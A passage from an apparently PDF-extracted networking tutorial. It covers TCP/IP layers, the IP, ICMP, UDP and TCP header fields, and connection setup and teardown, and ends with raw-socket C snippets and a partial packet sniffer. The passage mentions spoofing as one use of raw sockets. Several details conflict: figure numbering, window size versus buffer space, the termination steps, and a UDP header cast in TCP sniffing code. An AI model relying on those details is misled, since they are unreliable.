information to ensure proper delivery. This control information is called a header because it is placed in front of
the data to be transmitted. Each layer treats all of the information it receives from the layer above as data and
places its own header in front of that information. The addition of delivery information at every layer is called
encapsulation. Note that the real data that will be transmitted, seen or used at Application layer just a small
portion of the whole packet. When data is received, the opposite process happens. Each layer strips off its header
before passing the real data on the layer above. As information flows back up the stack, information received from a
lower layer is interpreted as both a header and data.

www.tenouk.com Page 2 of 19
Figure 5: TCP/IP header encapsulation.

Each layer has its own independent data structures. Conceptually a layer is unaware of the data structure used by
the layers above and below it. In reality, the data structures of a layer are designed to be compatible with the
structures used by the surrounding layers for the sake of more efficient data transmission. Still, each layer has its
own data structure and its own terminology to describe that structure. Figure 6 shows the terms used by different
layers of TCP/IP to refer to the data being transmitted. As a general term, most networks refer to a transmitted data
as packets of frames.

Figure 6: Different term of packet at different TCP/IP layers.

TCP/IP: The Detail

The following figure tries to give a big picture of what actually happen when a host (network device) communicates
with another host in TCP/IP stack. The flow of the packets is two ways representing the terms send and receive.
Using figure 7 as our reference, let investigate more detail of every layer starting from the bottom layer of the
TCP/IP stack.

www.tenouk.com Page 3 of 19
Figure 7: Quite a complete structure of protocols diagram used for communication.

Network Access Layer

The Network Access layer it is the lowest layer of the TCP/IP protocol hierarchy. The protocols in this layer
provide the means for the system to deliver data to the other device on a directly attached network. It defines how to
use the network to transmit an IP diagram. Unlike higher-level protocols, it must know the details of the underlying
network to correctly format the data being transmitted to comply with the network constraints. The TCP/IP
Network Access layer can encompass the function of all three lower layers of the OSI reference model Network
layer, Data Link layer, and Physical layer.
Functions performed at this level include encapsulation of IP datagrams into the frames transmitted by the network
and mapping of IP addresses to the physical addresses used by the network (provided by ARP protocol). The
network access layer is responsible for exchanging data between a host and the network and for delivering data
between two devices on the same network. Node physical addresses (MAC address) are used to accomplish
delivery on the local network.

www.tenouk.com Page 4 of 19
TCP/IP has been adapted to a wide variety of network types, including switching, such as X.21, packet switching,
such as X.25, Ethernet, the IEEE 802.x protocols, frame relay, wireless etc. For example, data in the network access
layer encode EtherType (Ethernet) information that is used to demultiplex data associated with specific upper-
layer protocol stacks.

Network/Internet Layer

The Internet layer is the heart of TCP/IP and the most important protocol. This layer provides the basic packet
delivery service on which TCP/IP networks are built. The TCP/IP protocol at this layer is the Internet Protocol
(IP- RFC 791). All protocols, in the layers above and below Internet layer, use the Internet Protocol to deliver
data. All TCP/IP data flows through IP, incoming and outgoing, regardless of its final destination.
The Internet layer is responsible for routing messages through internetworks. Devices responsible for routing
messages between networks are called gateways in TCP/IP terminology, although the term router is also used with
increasing frequency. In addition to the physical node addresses utilized at the network access layer, the IP protocol
implements a system of logical host addresses called IP addresses. The IP addresses are used by the internet and
higher layers to identify devices and to perform internetwork routing. As discussed in the previous Module the IP
address may be a class or classless type. The Address Resolution Protocol (ARP) enables IP to identify the
physical address (Media Access Control, MAC) that matches a given IP address. The physical address has been
burnt on every NIC. To make it readable for human being, the (domain) name is used instead of the IP address in
normal operation. The IP address and name resolution is done by Domain Name System (DNS). In the
implementation, UNIX/Linux uses BIND and Windows uses Domain Name Service (also DNS acronym). The
relationship is shown in the following figure.

Figure 8: IP/Name resolution.

The IP provides services that are roughly equivalent to the OSI Network layer. IP provides a datagram
(connectionless) transport service across the network. This service is sometimes referred to as unreliable because
the network does not guarantee delivery nor notify the end host system about packets lost due to errors or network
congestion. IP datagrams contain a message, or one fragment of a message, that may be up to 65,535 bytes
(octets/bytes) in length. IP does not provide a mechanism for flow control. Let dig deeper about the protocols in
this layer.

Internet Protocol (IP)

The IP protocol functionalities include:

▪ Defining the datagram, which is the basic unit of transmission in the Internet.
▪ Defining the Internet addressing scheme, moving data between the Network Access layer and the
Transport layer.
▪ Routing datagrams to remote hosts.
▪ Performing fragmentation and reassembly of datagrams.

The Datagram

Is a packet format defined by Internet Protocol. The internet protocol delivers the datagram by checking the
Destination Address (DA). This is an IP address that identifies the destination network and the specific host on
that network. If the destination address is the address of a host on the local network, the packet is delivered directly
to the destination; otherwise the packet is passed to a gateway/router for delivery. Gateways are devices that switch
packets between the different physical networks. Deciding which gateway to use is called routing. IP makes the
routing decision for each individual packet. IP deals with data in chunks called datagrams. The terms packet and
datagram are often used interchangeably, although a packet is a data link-layer object and a datagram is a network
layer object. In many cases, particularly when using IP on Ethernet, a datagram and packet refer to the same chunk
of data. There's no guarantee that the physical link layer can handle a packet of the network layer's size. If the
media's MTU is smaller than the network's packet size, then the network layer has to break large datagrams down
into packed-sized chunks that the data link layer and physical layer can digest. This process is called
fragmentation. The host receiving a fragmented datagram reassembles the pieces in the correct order.

IPv4 Datagram Format

www.tenouk.com Page 5 of 19
The following figure shows the IPv4 datagram header format. It is 6 x 32 bits (word size) wide.

Figure 9: The IP Datagram Format.

A brief field description:

Field Description
Version The version of IP currently used.
IP Header Length (IHL) - datagram header length. Points to the beginning of the data.
IHL
The minimum value for a correct header is 5.
Data in this field indicate the quality of service desired. The effects of values in the
precedence fields depend on the network technology employed, and values must be
configured accordingly. Format of the Type of Service field:
▪ Bits 0-2: Precedence

111 = Normal Control.


110 = Internetwork Control.
101 = CRITIC/ECP.
100 = Flash Override.
Type of Service
011 = Flash.
010 = Immediate.
001 = Priority.
000 = Routine.

▪ Bit 3 : Delay 0 = normal delay, 1 = low delay.


▪ Bit 4 : Throughput 0 = normal throughput, 1 = high throughput.
▪ Bit 5 : Reliability 0 = normal reliability, 1 = high reliability.
▪ Bits 6-7: Reserved
The length of the datagram in byte, including the IP header and data. This field enables
Total Length datagrams to consist of up to 65,535 bytes. The standard recommends that all hosts be
prepared to receive datagrams of at least 576 bytes in length.
Identification An identification field used to aid reassembles of the fragments of a datagram.
If a datagram is fragmented, the MB bit is 1 in all fragments except the last. This field
contains three control bits:
Flags ▪ Bit 0: Reserved, must be 0.
▪ Bit 1 (DF): 1 = Do not fragment and 0 = May fragment.
▪ Bit 2 (MF): 1 = More fragments and 0 = Last fragment.
Fragment Offset For fragmented datagrams, indicates the position in the datagram of this fragment.
Time-to-live Indicates the maximum time the datagram may remain on the network.
The 8 bits field of the upper layer protocol associated with the data portion of the
datagram. For a complete information please refer to RFC 1700 and the following is
some of the protocol numbers:

Decimal Protocol
1 ICMP (Internet Control Message)
Protocol
2 IGMP (Internet Group Management)
4 IP (IP in IP -encapsulation)
5 ST (Stream)
6 TCP (Transmission Control)
17 UDP (User Datagram)
27 RDP (Reliable Data Protocol)
Header Checksum A checksum for the header only. This value must be recalculated each time the header is

www.tenouk.com Page 6 of 19
modified.
Source Address The IP address of the originated the datagram.
Destination
The IP address of the host that is the final destination of the datagram.
Address
Options May contain 0 or more options.
Padding Filled with bits to ensure that the size of the header is a 32-bit multiple.

Table 1: IP datagram fields description.

Note that in the IP packet we just have the source and destination IP addresses. There is no source and destination
port numbers here which is set in UDP or TCP header.

Internet Control Message Protocol (ICMP and ICMPv6)

Is part of the Internet layer and uses the IP datagram delivery facility to sends its messages. ICMP sends
messages that perform control, error reporting, and informational functions for TCP/IP. The RFC document for
ICMP is RFC 792. The following figure is the ICMP header format.

Figure 10: The ICMP Header Format.

A brief description:

Field Description
Messages can be error or informational messages. Error messages can be Destination
unreachable, Packet too big, Time exceed, Parameter problem. The
possible informational messages are, Echo Request, Echo Reply, Group Membership
Query, Group Membership Report and Group Membership Reduction. A
summary of message Types are listed below.

0: Echo Reply.
3: Destination Unreachable.
Type 4: Source Quench.
5: Redirect.
8: Echo.
11: Time Exceeded.
12: Parameter Problem.
13: Timestamp.
14: Timestamp Reply.
15: Information Request.
16: Information Reply.
For each type of message as listed above, several different codes are defined. An example of
this is the Destination Unreachable message, where possible messages are: no route to
destination, communication with destination administratively prohibited, not a neighbor, address
unreachable, port unreachable. The code and its means for Destination Unreachable
message is listed below.
Code
0 = net unreachable.
1 = host unreachable.
2 = protocol unreachable.
3 = port unreachable.
4 = fragmentation needed and DF set.
5 = source route failed.
The 16-bit one's complement of the one's complement sum of the ICMP message starting with
Checksum
the ICMP Type. For computing the checksum, the checksum field should be zero.
Second word
Several formats that match with certain IP header fields/depend on the Type and Code fields.
(Several

www.tenouk.com Page 7 of 19
formats/unused

Table 2: ICMP datagram fields description.

The usage examples of the ICMP (together with IP) are listed below:

▪ Flow control: When datagrams arrive too fast for processing, the destination host or intermediate gateway
sends an ICMP Source Quench Message back to the sender. This tells the source to temporarily
stop sending datagrams.
▪ Detecting unreachable destinations: When a destination is unreachable, the system detecting the problem
sends an ICMP Destination Unreachable Message to the datagrams source. If the unreachable
destination is a network or host, the message is sent by an intermediate gateway. But if the destination is
an unreachable port, the destination host sends the message.
▪ Redirecting routes: A gateway sends the ICMP Redirect Message to tell a host to use another
gateway, presumably because the other gateway is a better choice. This message can only be used when
the source host is on the same network as both gateways.
▪ Checking remote hosts: A host can send the ICMP Echo Message to see if a remote system's internet
protocol is up and operational. When a system receives an echo message, it sends the same packet back to
the source host (e.g. PING command).

Other message types include:

▪ Information Request or Information Reply Message.


▪ Timestamp or Timestamp Reply Message.
▪ Parameter Problem Message.
▪ Time Exceeded Message.

Unless otherwise noted under the individual format descriptions as explained above, the values of the Internet
Protocol (IP) header fields for the ICMP are as follows:

IP Field Description
Version 4.
IHL Internet header length in 32-bit words.
Type of Service 0.
Total Length Length of internet header and data in octets.
Identification,
Flags, Used in fragmentation.
Fragment Offset
Time to live in seconds; as this field is decremented at each machine in which the
Time to Live datagram is processed, the value in this field should be at least as great as the number of
gateways which this datagram will traverse.
Protocol ICMP = 1.
The 16 bit one's complement of the one's complement sum of all 16 bit words in the
Header Checksum header. For computing the checksum, the checksum field should be zero. This
checksum may be replaced in the future.
The address of the gateway or host that composes the ICMP message. Unless otherwise
Source Address
noted, this can be any of a gateway's addresses.
Destination
The address of the gateway or host to which the message should be sent.
Address

Table 3: IP fields description when used with ICMP.

(Host-to-Host) Transport Layer

The Transport layer has two major jobs:

1. It must subdivide user-sized data buffers into network layer sized datagrams, and
2. It must enforce any desired transmission control such as reliable delivery.

The Transport layer is responsible for end-to-end data integrity. The two most important protocols in this layer are
Transmission Control Protocol (TCP) and User Datagram Protocol (UDP). TCP provides reliable data delivery
service with end-to-end error detection and correction and also enables hosts to maintain multiple, simultaneous

www.tenouk.com Page 8 of 19
connections. UDP provides low-overhead, connectionless datagram delivery service. Both protocols deliver data
between the Application layer and the Internet layer. Applications programmers can choose whichever service is
more appropriate for their specific applications. Protocols defined at this layer accept data from application
protocols running at the Application layer, encapsulate it in the protocol header, and deliver the data segment thus
formed to the lower IP layer for routing. Unlike the IP protocol, the transport layer is aware of the identity of the
ultimate user representative process. As such, the Transport layer, in the TCP/IP suite, embodies what data
communications are all about: The delivering of information from an application on one computer to an application
on another computer.

User Datagram Protocol (UDP – RFC768)

Gives application programs direct access to a datagram delivery service, like the delivery service that IP provides.
This allows applications to exchange messages over the network with a minimum of protocol overhead. UDP is an
unreliable (it doesn't care about the quality if deliveries it make), connectionless (doesn't establish a connection on
behalf of user applications) datagram protocol. Within your computer, UDP will deliver data correctly. UDP is
used as a data transport service when the amount of data being transmitted is small, the overhead of creating
connections and ensuring reliable delivery may be greater than the work of retransmitting the entire data set.
Broadcast-oriented services use UDP, as do those in which repeated, out of sequence, or missed requests have no
harmful side effects. Since no state is maintained for UDP transmission, it is ideal for repeated, short operations
such as the Remote Procedure Call (RPC) protocol. UDP packets can arrive in any order. If there is a network
bottleneck that drops packets, UDP packets may not arrive at all. It's up to the application built on UDP to
determine that a packet was lost, and to resend it if necessary.
NFS and NIS are built on top of UDP because of its speed and statelessness. While the performance advantages of
a fast protocol are obvious, the stateless nature of UDP is equally important. Without state information in either the
client or server, crash recovery is greatly simplified.
UDP is also the transport protocol for several well-known application-layer protocols, including Network File
System (NFS), Simple Network Management Protocol (SNMP), Domain Name System (DNS), and Trivial File
Transfer Protocol (TFTP). The following figure shows the UDP datagram format.

Figure 11: The UDP Datagram Format.

A brief description:

Field Description
Source Port This field is optional and specifies the port number of the application that is
(16 bits) originating the user data.
Destination Port
This is the port number pertaining to the destination application.
(16 bits)
This field describes the total length of the UDP datagram, including both data and
Length (16 bits)
header information.
UDP checksum Integrity checking is optional under UDP. If turned on, this field is used by both
(16 bits) ends of the communication channel for data integrity checks.

Table 4: UDP fields description.

Well, let revised what we have already covered till now. The following figure is the TCP/IP stack mentioned
before. When data is sent from a host to another host, depend on the application (protocols), it has to go through the
layers. Every layer will encapsulate the appropriate header.

www.tenouk.com Page 9 of 19
Figure 12: TCP/IP header encapsulation, illustrated vertically.

To make it clearer, the following figure is a packet that horizontally rearranged of the previous figure. The
Data... may also contain other upper protocol header, the Transport layer.

Figure 13: TCP/IP header encapsulation, illustrated horizontally.

As an example, by assuming there is no other information inserted between the Transport and the Internetwork
layers, the following figure shows the packet when the data has gone through the Transport and Internerwork layers.

Figure 14: The UDP and IP headers in a packet.

From the above figure, what IP considers to be data field is in fact just another piece of formatted information
including both UDP header and user protocol data. To IP it should not matter what the data field is hiding. The
details of the header information for each protocol should clearly convey to the reader purpose of the protocol.
Keep in mind that at machine level, all the fields in the packet actually just a combination of the 0s and 1s digits.
Let continue with another important protocol in Transport layer, the TCP.

Transmission Control Protocol (TCP)

Transmission Control Protocol (TCP) is a required TCP/IP standard defined in RFC 793, "Transmission Control
Protocol (TCP)", that provides a reliable, connection-oriented packet delivery service. The Transmission Control
Protocol:

▪ Guarantees delivery of IP datagrams.


▪ Performs segmentation and reassembly of large blocks of data sent by programs.
▪ Ensures proper sequencing and ordered delivery of segmented data.
▪ Performs checks on the integrity of transmitted data by using checksum calculations.
▪ Sends positive messages depending on whether data was received successfully. By using selective
acknowledgments, negative acknowledgments for data not received are also sent.
▪ Offers a preferred method of transport for programs that must use reliable session-based data transmission,
such as client/server database and e-mail programs.

www.tenouk.com Page 10 of 19
It is fully reliable, connection-oriented, end-to-end packet delivery, acknowledged, byte stream protocol that provide
consistency for data delivery across the network in a proper sequence. TCP supports data fragmentation and
reassemble. It also support multiplexing/demultiplexing using source and destination port numbers in much the
same way they are used by UDP. Together with the Internet Protocol (IP), TCP represents the heart of the Internet
protocols. TCP provides reliability with a mechanism called Positive Acknowledgement with Retransmission
(PAR). Simply said, a system using PAR resends the data, unless it hears from the remote system that the data
received is okay. The unit of data exchanged between co-operating TCP modules is called a segment. The
following is a TCP segment format.

Figure 15: The segment format of the TCP Protocol.

A brief field description:

Field Description
Source port (16
Specifies the port on the sending TCP module.
bits)
Destination
port Specifies the port on the receiving TCP module.
(16 bits)
Specifies the sequence position of the first data octet in the segment. When the segment
Sequence number
opens a connection, the sequence number is the Initial Sequence Number (ISN) and the
(32 bits)
first octet in the data field is at sequence ISN+1.
Acknowledgement Specifies the next sequence number that is expected by the sender of the segment. TCP
number indicates that this field is active by setting the ACK bit, which is always set after a
32 bits) connection is established.
Data offset
Specifies the number of 32-bit word in the TCP header.
4 bits)
Reserved
Must be zero. Reserved for future use.
(6 bits)
The six control bits are as follow:
▪ URG - When set, the Urgent Pointer field is significant.
▪ ACK - When set, the acknowledgement Number field is significant.
Control bits ▪ PSH - Initiates a push function.
(6 bits) ▪ RST - Forces a reset of the connection.
▪ SYN - Synchronizes sequencing counters for the connection. This bit is set when a
segment request opening of a connection.
▪ FIN - No more data. Closes the connection.
Window Specifies the number of octets, starting with the octet specified in the acknowledgement
(16 bits) number field, which the sender of the segment can currently accept.
An error control checksum that covers the header and data fields. It does not cover any
padding required to have the segment consists of an even number of octets. The checksum
also covers a 96-pseudoheader as shown below; it includes source and destination
Checksum
addresses, the protocol, and the segment length. The information is forwarded with the
(16 bits)
segment to IP to protect TCP from miss-routed segments. The value of the segment length
a field includes the TCP header and data, but doesn’t include the length of the
pseudoheader.
Urgent Pointer Identifies the sequence number of the octet following urgent data. The urgent pointer is a
(16 bits) positive offset from the sequence number of the segment.
Options Options are available for a variety of functions.

www.tenouk.com Page 11 of 19
(variable)
Padding 0-value octets are appended to the header to ensure that the header ends on a 32-bit word
(variable) boundary.

Table 5: TCP segment fields description.

Figure 16: The format of the TCP pseudoheader.

TCP Three-Way Handshake

Each segment contains a checksum that the recipient uses to verify that the data is undamaged. If the data segment
is received undamaged, the receiver sends a positive acknowledgement back to the sender. If the data segment is
damaged, the receiver discards it. After an appropriate time-out period, the sending TCP module retransmits any
segment for which no positive acknowledgement has been received. TCP is connection-oriented. It establishes a
logical end-to-end connection between the two communication hosts. Control information, called a handshake, is
exchanged between the two endpoints to establish a dialogue before data is transmitted. TCP indicates the control
function of a segment by setting the appropriate bit in the flags field of the segment header. The type of
handshake used by TCP is called a three-way handshake because three segments are exchanged. The following
figure illustrates the three-way handshake mechanism.

Figure 17: A Three-Way Handshake of the TCP initialization.

The client who needs to initialize a connection sends out a SYN segment (Synchronize) to the server along with the
initial sequence number. No data is sent during this process, and the SYN segment contains only TCP header and IP
header. When the server receives the SYN segment, it acknowledges the request with its own SYN segment, called
SYN-ACK segment. When the client receives the SYN-ACK, it sends an ACK for the server's SYN. At this stage the
connection is "established."
Unlike TCP connection initialization, which is a three-way process, connection termination takes place with the
exchange of four-way packets. The following figure illustrates the TCP termination process.

www.tenouk.com Page 12 of 19
Figure 18: A Four-Way of the TCP termination.

1. The client who needs to terminate the connection sends a FIN segment to the server that is a TCP Packet
with the FIN flag set, indicating that it has finished sending the data.
2. The server, upon receiving the FIN segment, does not terminate the connection but enters into a "passive
close" (CLOSE_WAIT) state and sends an ACK for the FIN back to the client with the sequence number
incremented by one. Now the server enters into LAST_ACK state.
3. When the client gets the last ACK from the server, it enters into a TIME_WAIT state, and sends an ACK
back to the server with the sequence number incremented by one.
4. When the server gets the ACK from the client, it closes the connection.

Reliability and Acknowledgement

TCP employs the positive acknowledgement with retransmission technique for the purpose of achieving reliability
in service.

Figure 19: The positive acknowledgement with retransmission technique.

Figure 80 illustrates a simple ladder diagram depicting the events taking place between two hosts. The arrows
represent transmitted data and/or acknowledgements, and time is represented by the vertical distance down the
ladder. When TCP send a data segment, it requires an acknowledgement from the receiving end. The
acknowledgement is used to update the connection state table. An acknowledgement can be positive or negative. A
positive acknowledgement implies that the receiving host recovered the data and that it passed the integrity check.
A negative acknowledgement implies that the failed data segment needs to be retransmitted. It can be caused by
failures such as data corruption or loss.

Figure 20: TCP implementation of the time-out mechanism to keep track of loss segments.

www.tenouk.com Page 13 of 19
In figure 81, illustrates what happens when a packet is lost on the network and fails to reach its ultimate destination.
When a host sends data, it starts a countdown timer. If the timer expires without receiving an acknowledgement,
this host assumes that the data segment was lost. Consequently, this host retransmits a duplicate of the failing
segment. TCP keep a copy of all transmitted data with outstanding positive acknowledgement. Only after receiving
the positive acknowledgement is this copy discarded to make room for other data in its buffer.

Data Stream Maintenance

The interface between TCP and a local process is a port, which is a mechanism that enables the process to call TCP
and in turn enables TCP to deliver data streams to the appropriate process. Ports are identified by port numbers. To
fully specify a connection, the host IP address is appended to the port number. This combination of IP address and
port number is called a socket. A given socket number is unique on the internetwork. A connection between two
hosts is fully described by the sockets assigned to each end of the connection.

Figure 21: A TCP data stream that starts with an Initial Sequence Number (ISN) of 0.

In figure 82, the receiving system has received and acknowledged 2000 bytes. So the current Acknowledgement
Number is 2000. The receiver also has enough buffer space for another 6400 bytes, so it has advertised a Window
of 6000. The sender is currently sending a segment of 1000 bytes starting with Sequence Number 4001. The sender
has received no acknowledgement for the bytes from 2001 on, but continues sending data as long as it is within the
window. If the sender fills the window and receives no acknowledgement of the data previously sent, it will, after
an appropriate time-out, resend the data starting from the first unacknowledged byte. Retransmission would start
from byte 2001 if no further acknowledgements are received. This procedure ensures that data is reliably received
at the far end of the network.
From the perspective of Applications, communication with the network involves sending and receiving continuous
streams of data. It seems that the Application is not responsible for fragmenting the data to fit lower-layer
protocols. The whole process can be illustrated in the following figure.

www.tenouk.com Page 14 of 19
Figure 22: How data is processed as they travel down the protocol stack, through
the network, and up the protocol stack of the receiver.

Brief description:

▪ TCP receives a stream of data from the upper-layer process.


▪ TCP may fragment the data stream into segments that meet the maximum datagram size of IP.
▪ IP may fragment segments as it prepares datagrams that are sized to conform to restrictions of the network
types: Ethernet, Token Ring etc.
▪ Network protocols transmit the datagram in the form of bits.
▪ Network protocols at the receiving host reconstruct datagrams from the bits they receive.
▪ IP receives datagrams from the network. Where necessary datagram fragments are reassembled to
reconstruct the original segment.
▪ TCP presents data in segments to upper-layer protocols in the form of data streams.

Application Layer

The Application layer includes all processes that use the transport layer protocols to deliver data. There are many
applications protocols. A good example of concerns handled by these processes is the reconciliation of differences
in the data syntax between the platforms on which the applications are running. It should be clear that unless this
difference in data representation is handled properly, any exchange of data involving these processes id likely to
yield erroneous interpretations of numerical data. To resolve this issue, and other similar issues, TCP/IP defines the
eXternal Data Representation (XDR) protocol. Reflecting on the nature of this problem, you can easily see that
the problem has nothing to do with the underlying network topology, wiring, or electrical interference.
Application examples that use TCP:

▪ TELNET: The Network Terminal Protocol provides remote login over the network.
▪ FTP: The File Transfer Protocol is used for interactive file transfer between hosts.
▪ SMTP: The Simple Mail Transfer Protocol acts as Mail Transfer Agent (MTA) that delivers electronic
mail.

Application examples that use UDP:

▪ SNMP: The Simple Network Management Protocol is used to collect management information from
network devices.
▪ DNS : Domain Name Service, maps IP addresses to the names assigned to network devices.
▪ RIP: Routing Information Protocol, routing is the central to the way TCP/IP networks. RIP is used by the
network devices to exchange routing information.

www.tenouk.com Page 15 of 19
▪ NFS : Network File System, this protocol allows files to be shared by various hosts on the network as if
they were local drives.

RAW vs Cooked Socket

Intro

In this section and that follows, we will learn the basics of using raw sockets. Here, we will try to construct our own
packet and insert any IP protocol based datagram into the network traffic. This is useful, for example, to build raw
socket scanners like nmap, to spoof or to perform operations that need to send out raw sockets. Basically, you can
send any packet at any time, whereas using the interface functions for your systems IP-stack (connect(),
write(), bind(), etc.) as discussed in the previous Modules but you don’t have direct control over the packets.
This theoretically enables you to simulate the behavior of your OS's IP stack, and also to send stateless traffic
(datagrams that don't belong to any valid connection).
The usage of the raw socket is to send a single packet at one time, with all the protocol headers filled in by the
program (instead of the kernel). As discussed in the previous Modules, when you create a socket and bind it to a
process/port, you don't care about IP or TCP header fields as long as you are able to communicate with the server.
The kernel or the underlying operating system builds the packet including the checksum for your data. Thus,
network programming was so easy with the traditional cooked sockets. Contrarily, raw sockets let you fabricate the
header fields including information like source IP address etc. The following is a socket() prototype.

int socket(int domain, int type, int protocol);

If you check the man page for socket(), the socket types defined for the type parameter includes:

Type Description
Provides sequenced, reliable, two-way, connection-based byte streams. An out-
SOCK_STREAM
of-band data transmission mechanism may be supported.
Supports datagrams (connectionless, unreliable messages of a fixed maximum
SOCK_DGRAM
length).
Provides a sequenced, reliable, two-way connection-based data transmission
SOCK_SEQPACKET path for datagrams of fixed maximum length; a consumer is required to read an
entire packet with each read system call.
SOCK_RAW Provides raw network protocol access.
SOCK_RDM Provides a reliable datagram layer that does not guarantee ordering.
Obsolete and should not be used in new programs. Use packet (check man page
SOCK_PACKET
for packet) instead.

Table 6: Socket types of socket().

There are two methods of receiving packets from the datalink layer under Linux. The original method, which is
more widely available but less flexible and obsolete, is to create a socket of type SOCK_PACKET. The newer
method, which introduces more filtering and performance features, is to create a socket of family PF_PACKET. To
do either, we must have sufficient privileges (similar to creating a raw socket), and the third argument to socket
must be a nonzero value specifying the Ethernet (may use other frame type such as Token Ring etc.) frame type.
When using PF_PACKET sockets, the second argument to socket can be SOCK_DGRAM, for "cooked" packets with
the link-layer header removed, or SOCK_RAW, for the complete link-layer packet. SOCK_PACKET sockets only
return the complete link layer packet. For example, to receive all frames from the datalink, we may write:

/* newer systems*/
fd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));

Or

/* older systems*/
fd = socket(AF_INET, SOCK_PACKET, htons(ETH_P_ALL));

This would return frames for all protocols that the datalink receives. If we want only IPv4 frames, the call would
be:

/* newer systems */
fd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP));

www.tenouk.com Page 16 of 19
Or

/* older systems */
fd = socket(AF_INET, SOCK_PACKET, htons(ETH_P_IP));

Other constants for the final argument are ETH_P_ARP and ETH_P_IPV6, for example.
And for the domain parameter constants are listed below. In the previous Modules we just use the AF_INET.

Name Purpose
PF_UNIX, PF_LOCAL Local communication.
PF_INET IPv4 Internet protocols.
PF_INET6 IPv6 Internet protocols.
PF_IPX IPX - Novell protocols.
PF_NETLINK Kernel user interface device.
PF_X25 ITU-T X.25 / ISO-8208 protocol.
PF_AX25 Amateur radio AX.25 protocol.
PF_ATMPVC Access to raw ATM PVCs.
PF_APPLETALK Appletalk.
PF_PACKET Low level packet interface.

Table 7: Domain parameters of socket().

The protocol parameter specifies a particular protocol number/name string to be used with the socket. Normally
only a single protocol exists to support a particular socket type within a given protocol family, in which a case
protocol can be specified as 0 (as used in the program examples in previous Modules). However, it is possible that
many protocols may exist, in which case a particular protocol must be specified in this manner. The protocol
number to use is specific to the communication domain. Partial list of the protocol number have been discussed in
IPv4 Datagram Format section (or you can check man getprotobyname() page or RFC1700 for a complete
list). To map protocol name strings to protocol numbers you may use getprotoent() function.
In the previous Modules we have already made familiar with SOCK_STREAM and SOCK_DGRAM. In this section,
we'll be using SOCK_RAW, which includes the IP headers (and all subsequent protocol headers of the upper layer as
needed) and data. In the previous program examples also we used SOCK_STREAM (TCP/connection oriented) and
SOCK_DGRAM (UDP/connectionless) sockets as shown below:

socket(AF_INET, SOCK_STREAM, 0);

And

socket(AF_INET, SOCK_DGRAM, 0);

For raw socket we code as follows:

#include <sys/socket.h>
#include <netinet/in.h>

socket(PF_INET, SOCK_RAW, IPPROTO_UDP);


socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
socket(PF_INET, SOCK_RAW, IPPROTO_ICMP);

Depending on what you want to send, you initially open a socket and give it its type. For example:

sockd = socket(AF_INET, SOCK_RAW, <protocol>);

For the <protocol>, you can choose from any protocol (number or string) including IPPROTO_RAW. The
protocol number goes into the IP header verbatim. IPPROTO_RAW places 0 in the IP header. A socket option
IP_HDRINCL allows you to include your own IP header along with the rest of the packet. Then, you might use it
as:

char on = 1;
setsockopt(sockd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on));

You then build the packet and use a normal sendto(), recvfrom() etc.
The Internet IPv4 layer generates an IP header when sending a packet unless the IP_HDRINCL socket option is
enabled on the socket. When it is enabled, the packet must contain an IP header that you should include in your

www.tenouk.com Page 17 of 19
program. Only processes with an effective user id of 0 (root) or the CAP_NET_RAW capability are allowed to open
raw sockets. A protocol of IPPROTO_RAW implies the IP_HDRINCL is enabled. For this case, the following is a
summary for the IP header.

IP Header fields modified on sending by IP_HDRINCL


IP Checksum Always filled in.
Source Address Filled in when zero.
Packet Id Filled in when zero.
Total Length Always filled in.

Table 8: Some IP header default values.

If IP_HDRINCL is specified and the IP header has a non-zero destination address then the destination address of the
socket is used to route the packet. When MSG_DONTROUTE is specified the destination address should refer to a
local interface, otherwise a routing table lookup is done anyways but gatewayed routes are ignored. If
IP_HDRINCL isn't set then IP header options can be set on raw sockets with setsockopt() as shown before.
Raw sockets are usually only needed for new protocols or protocols with no user interface (like ICMP). When a
packet is received, it is passed to any raw sockets which have been bound to its protocol before it is passed to other
protocol handlers (e.g. kernel protocol modules).
Raw sockets use the standard sockaddr_in address structure defined in ip.h. For example:

...
struct sockaddr_in sin;
...
// Address family
sin.sin_family = AF_INET;
// Port numbers
sin.sin_port = srcportnum;
// IP addresses
sin.sin_addr.s_addr = inet_addr(argv[1]);

Raw socket options can be set with setsockopt() and read with getsockopt() by passing the SOL_RAW
family flag. Raw sockets fragment a packet when its total length exceeds the interface Maximum Transfer Unit
(MTU). A raw socket can be bound to a specific local address using the bind() call. If it isn't bound, all packets
with the specified IP protocol are received. In addition a RAW socket can be bound to a specific network device
using SO_BINDTODEVICE (check the socket() man page).
An IPPROTO_RAW socket is send only. If you really want to receive all IP packets use a packet() socket with
the ETH_P_IP protocol. Note that packet sockets don't reassemble IP fragments, unlike raw sockets.
If you want to receive all ICMP packets for a datagram socket it is often better to use IP_RECVERR on that
particular socket.
Raw sockets may tap all IP protocols in Linux for example, even protocols like ICMP or TCP which have a protocol
module in the kernel. In this case the packets are passed to both the kernel module and the raw socket(s).

----------------------------------------------------------------Break--------------------------------------------------------------

Note:
The Maximum Transfer Unit (MTU) specifies the maximum transmission unit size of an interface. Each interface
used by TCP/IP may have a different MTU value specified. The MTU is usually determined through negotiation
with the lower-level driver and by using that lower-level driver value. However, that value may be overridden.
Each media type (used in Ethernet, FDDI, Token Ring etc) has a maximum frame size that cannot be exceeded. The
link layer is responsible for discovering this MTU and reporting it to the protocols above the link layer. Network
Driver Interface Specification (NDIS) drivers may be queried for the local MTU by the protocol stack. Knowledge
of the MTU for an interface is used by upper-layer protocols, such as TCP, which automatically optimizes packet
sizes for each medium.

----------------------------------------------------------------Break--------------------------------------------------------------

From the moment the raw socket is created, you can send any IP packets over it, and receive any IP packets that the
host received after that socket was created if you read() from it. Note that even though the socket is an interface
to the IP header, it is transport layer specific. That means, for listening to TCP, UDP and ICMP traffic, you have to
create 3 separate raw sockets, using IPPROTO_TCP, IPPROTO_UDP and IPPROTO_ICMP (the protocol numbers
are 6 for tcp, 17 for udp and 1 for icmp).

www.tenouk.com Page 18 of 19
With this knowledge, we can, for example, create a small sniffer program as shown in the following code portion
that dumps out the contents of all tcp packets we receive and print out the payload, the data of the
session/application layer etc.

int fd = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);


/* single packets are usually not bigger than 8192 bytes but
depend on the media standard of the Network Access layer such as
Ethernet, Token Ring etc
*/

...
char buffer[8192];
struct ipheader *ip = (struct ipheader *) buffer;
struct udpheader *udp = (struct udpheader *) (buffer + sizeof(struct ipheader));

...
while (read(fd, buffer, 8192) > 0)
/* packet = data + ip header + tcp header */
